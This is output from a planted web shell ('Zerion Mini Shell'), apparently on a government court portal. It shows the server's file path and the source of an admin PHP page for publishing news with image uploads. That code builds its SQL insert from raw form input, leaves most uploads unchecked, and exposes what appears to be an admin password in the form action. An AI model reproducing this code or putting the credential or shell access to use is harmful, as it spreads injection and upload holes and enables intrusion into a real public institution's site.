%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/adminit2018/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/adminit2018/nueva_nota.php

<?php 

if(isset($_POST['GuardarDatos']) && $_POST['GuardarDatos'] == 'Guardar'){

$tja_titulo = $_POST['titulo'];
$tja_fecha = $_POST['fecha'];
$tja_categoria = $_POST['categoria'];

$categorias = ['','Comunicado de Prensa','Noticia','Nota Rápida','Equidad de Genero'];
$tja_categoria = $categorias[$tja_categoria];

$tja_etiquetas = $_POST['etiquetas'];
$tja_destacado = $_POST['destacado'];
$tja_contenido = $_POST['contenido'];

// setlocale(LC_ALL, 'es_ES').': ';
// $tja_fecha_pub = iconv('ISO-8859-1', 'UTF-8', strftime('%A %d de %B de %Y', time()));

setlocale(LC_ALL,"es_ES");
$tja_fecha_pub = utf8_encode(strftime("%A %d de %B del %Y"));

 // SUBIR IMAGENES A UN DIRECTORIO Y GUARDAR LA RUTA EN LA BD
      
      $allowedExts = array("gif", "jpeg", "jpg", "png");
      
      $temp = explode(".", $_FILES["imagen1"]["name"]);
      $temp2 = explode(".", $_FILES["imagen2"]["name"]); // segunda imagen
      $temp3 = explode(".", $_FILES["imagen3"]["name"]); // 3 imagen
      $temp4 = explode(".", $_FILES["imagen4"]["name"]); // 4 imagen

      $extension = end($temp);
      $extension2 = end($temp2); //  segunda imagen
      $extension3 = end($temp3); //  3 imagen
      $extension4 = end($temp4); //  4 imagen

      $imagen="";
      $imagen2=""; //  segunda imagen
      $imagen3=""; //  3 imagen
      $imagen4=""; //  4 imagen

      $random=rand(1,999);
      
      if ((($_FILES["imagen1"]["type"] == "image/gif")
        || ($_FILES["imagen1"]["type"] == "image/jpeg")
        || ($_FILES["imagen1"]["type"] == "image/jpg")
        || ($_FILES["imagen1"]["type"] == "image/pjpeg")
        || ($_FILES["imagen1"]["type"] == "image/x-png")
        || ($_FILES["imagen1"]["type"] == "image/png")))
      {

          if ($_FILES["imagen1"]["name"] != NULL) {
          $imagen= $random.'_'.$_FILES["imagen1"]["name"];
          move_uploaded_file($_FILES["imagen1"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen1"]["name"]);
          echo ":) Se ha subido correctamente la imágen 1: " . "../img/noticias/" .$random.'_'. $_FILES["imagen1"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 1<br />"; }
          
          if ($_FILES["imagen2"]["name"] != NULL) {
          $imagen2= $random.'_'.$_FILES["imagen2"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen2"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen2"]["name"]);
          echo ":) Se ha subido correctamente la imágen 2: " . "../img/noticias/" .$random.'_'. $_FILES["imagen2"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 2<br />"; }  

          if ($_FILES["imagen3"]["name"] != NULL) {
          $imagen3= $random.'_'.$_FILES["imagen3"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen3"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen3"]["name"]);
          echo ":) Se ha subido correctamente la imágen 3: " . "../img/noticias/" .$random.'_'. $_FILES["imagen3"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 3<br />"; }  

          if ($_FILES["imagen4"]["name"] != NULL) {
          $imagen4= $random.'_'.$_FILES["imagen4"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen4"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen4"]["name"]);
          echo ":) Se ha subido correctamente la imágen 4: " . "../img/noticias/" .$random.'_'. $_FILES["imagen4"]["name"]."<br />";
          } 
          else { echo "No se selecciono una nueva imágen 4<br />"; }  



          if ($_FILES["imagen5"]["name"] != NULL) {
          $imagen5= $random.'_'.$_FILES["imagen5"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen5"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen5"]["name"]);
          echo ":) Se ha subido correctamente la imágen 5: " . "../img/noticias/" .$random.'_'. $_FILES["imagen5"]["name"]."<br />";
          } 
          
                    if ($_FILES["imagen6"]["name"] != NULL) {
          $imagen6= $random.'_'.$_FILES["imagen6"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen6"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen6"]["name"]);
          echo ":) Se ha subido correctamente la imágen 6: " . "../img/noticias/" .$random.'_'. $_FILES["imagen6"]["name"]."<br />";
          } 
          
                    if ($_FILES["imagen7"]["name"] != NULL) {
          $imagen7= $random.'_'.$_FILES["imagen7"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen7"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen7"]["name"]);
          echo ":) Se ha subido correctamente la imágen 7: " . "../img/noticias/" .$random.'_'. $_FILES["imagen7"]["name"]."<br />";
          } 
          
                    if ($_FILES["imagen8"]["name"] != NULL) {
          $imagen8= $random.'_'.$_FILES["imagen8"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen8"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen8"]["name"]);
          echo ":) Se ha subido correctamente la imágen 8: " . "../img/noticias/" .$random.'_'. $_FILES["imagen8"]["name"]."<br />";
          } 
          
                    if ($_FILES["imagen9"]["name"] != NULL) {
          $imagen9= $random.'_'.$_FILES["imagen9"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen9"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen9"]["name"]);
          echo ":) Se ha subido correctamente la imágen 9: " . "../img/noticias/" .$random.'_'. $_FILES["imagen9"]["name"]."<br />";
          } 
          
                    if ($_FILES["imagen10"]["name"] != NULL) {
          $imagen10= $random.'_'.$_FILES["imagen10"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen10"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen10"]["name"]);
          echo ":) Se ha subido correctamente la imágen 10: " . "../img/noticias/" .$random.'_'. $_FILES["imagen10"]["name"]."<br />";
          } 
          
                    if ($_FILES["imagen11"]["name"] != NULL) {
          $imagen11= $random.'_'.$_FILES["imagen11"]["name"]; //  segunda imagen
          move_uploaded_file($_FILES["imagen11"]["tmp_name"], "../img/noticias/" .$random.'_'.$_FILES["imagen11"]["name"]);
          echo ":) Se ha subido correctamente la imágen 11: " . "../img/noticias/" .$random.'_'. $_FILES["imagen11"]["name"]."<br />";
          } 
          // FIN SUBIR IMAGENES

//$con = db_connect2();
require("../conn.php");
$error = "";

          /*$sql = "INSERT into noticias(titulo, fecha, categoria, etiquetas, destacado, imagen1, contenido, imagen2, imagen3, imagen4, fecha_publicacion) 
          values ('".$tja_titulo."', '".$tja_fecha."', '".$tja_categoria."', '".$tja_etiquetas."', '".$tja_destacado."', '".$imagen."', '".$tja_contenido."', '".$imagen2."', '".$imagen3."', '".$imagen4."', '".$tja_fecha_pub."')";
          $res = @mysql_query($sql,$con) or die(mysql_error());*/

          $sql = "INSERT into noticias(titulo, fecha, fecha2, categoria, etiquetas, destacado, imagen1, contenido, imagen2, imagen3, imagen4, imagen5, imagen6, imagen7, imagen8, imagen9, imagen10, imagen11, fecha_publicacion) 
          values ('".$tja_titulo."', '".$tja_fecha."', '".$tja_fecha."', '".$tja_categoria."', '".$tja_etiquetas."', '".$tja_destacado."', '".$imagen."', '".$tja_contenido."', '".$imagen2."', '".$imagen3."', '".$imagen4."', '".$imagen5."', '".$imagen6."', '".$imagen7."', '".$imagen8."', '".$imagen9."', '".$imagen10."', '".$imagen11."', '".$tja_fecha_pub."')";
          $res = mysqli_query($db, $sql) or die(mysql_error());

echo "Noticia creada con éxito <br />";

	}

else {
  echo "La imgágen no es válida. Solo de admiten formatos JPG y PNG de máximo 300 Kb.";
	}  

}

else {
 ?>

<div class="content content-boxed">
    <!-- CKEditor (js-ckeditor-inline + js-ckeditor ids are initialized in App() -> uiHelperCkeditor()) -->
    <!-- For more info and examples you can check out http://ckeditor.com -->
    <div class="block">

 				<!-- FORMULARIO -->
                <div class="block-content">

                    <form method="post" action="Nueva-Noticia&adminuser=CarLos19!Ee" method="POST" enctype="multipart/form-data">
                        
                        <div class="form-group">
                            <div class="row">
                                <label class="col-sm-1 control-label" for="example-text-input">Título: </label>
                                <div class="col-sm-5">
                                    <input class="js-maxlength form-control" type="text" placeholder="Ingresa el título de la nota" id="titulo" name="titulo" maxlength="300" data-always-show="true" data-placement="top-right">
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">Fecha: </label>
                                <div class="col-sm-5">
                            		<input class="js-datepicker form-control" type="text" id="fecha" name="fecha" data-date-format="yyyy/mm/dd" placeholder="YYYY/MM/DD">
                                </div>
                            </div>
                        </div>

                        <div class="form-group">
                            <div class="row">
                                <label class="col-sm-1 control-label" for="example-text-input">Categoría: </label>
                                <div class="col-sm-5">
                                		<select class="form-control" id="categoria" onChange="updateImg()" name="categoria" size="1">
                                   		 <option value="0">Selecciona</option>
                                   		 <option value="1">Comunicado de Prensa</option>
                                   		 <option value="2">Noticia</option>
                                    	 <option value="3">Nota Rápida</option>
                                    	  <option value="4">Equidad de Genero</option>
                                		</select>
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">Etiquetas: </label>
                                <div class="col-sm-5">
                            		<input class="js-maxlength form-control" type="text" id="etiquetas" name="etiquetas" maxlength="100" data-always-show="true" data-placement="top-right" value="">
                                </div>
                            </div>
                        </div>

                        <div class="form-group">
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Selecciona imagen destacada: </label>
                                <div class="col-sm-3">
                                    	<input type="file" id="imagen1" name="imagen1">
                                </div>
                                <label class="col-sm-1 control-label" for="example-text-input">Destacado: </label>
                                <div class="col-sm-5">
                                		<select class="form-control" id="destacado" name="destacado" size="1">
                                   		 <option value="">Selecciona</option>
                                   		 <option value="1">Si</option>
                                   		 <option value="0">No</option>
                                		</select>
                                </div>
                            </div>
                        </div>

                   		<div class="form-group">
                   			 <div class="col-sm-12">
                       			  <!-- CKEditor Container -->
                      			  <textarea id="js-ckeditor" name="contenido"></textarea>
                      			  <br />
                    		</div>                   		
                    	</div>

                    	<div class="form-group">
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 1: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen2" name="imagen2">
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 2: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen3" name="imagen3">
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 3: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen4" name="imagen4">
                                </div>
                            </div>
                            
                            
                            <div id="imagenes" style="display: none;">
                                
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 4: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen5" name="imagen5">
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 5: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen6" name="imagen6">
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 6: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen7" name="imagen7">
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 7: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen8" name="imagen8">
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 8: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen9" name="imagen9">
                                </div>
                            </div>
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 9: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen10" name="imagen10">
                                </div>
                            </div>
                            
                            <div class="row">
                                <label class="col-sm-3 control-label" for="example-text-input">Imagen 10: </label>
                                <div class="col-sm-9">
                                    	<input type="file" id="imagen11" name="imagen11">
                                </div>
                            </div>
                            
                            </div>
                            
                        </div>

                        <div class="form-group">
                            <button class="btn btn-sm btn-primary" type="submit" name="GuardarDatos" value="Guardar">Crear Nota</button>
                        </div>

                    </form>

                </div>
            	<!-- FIN FORMULARIO -->

    </div>

</div>

<script>
     function updateImg() 
     {
                var select = document.getElementById('categoria');
				var option = select.options[select.selectedIndex];
				
				if(option.value == 4)
				{
                      document.getElementById("imagenes").style.display = "block";
				}
                else  
                { 
                    document.getElementById("imagenes").style.display = "none";
                     
                }
                    
    }
    
</script>
<?php
}
?>

Zerion Mini Shell 1.0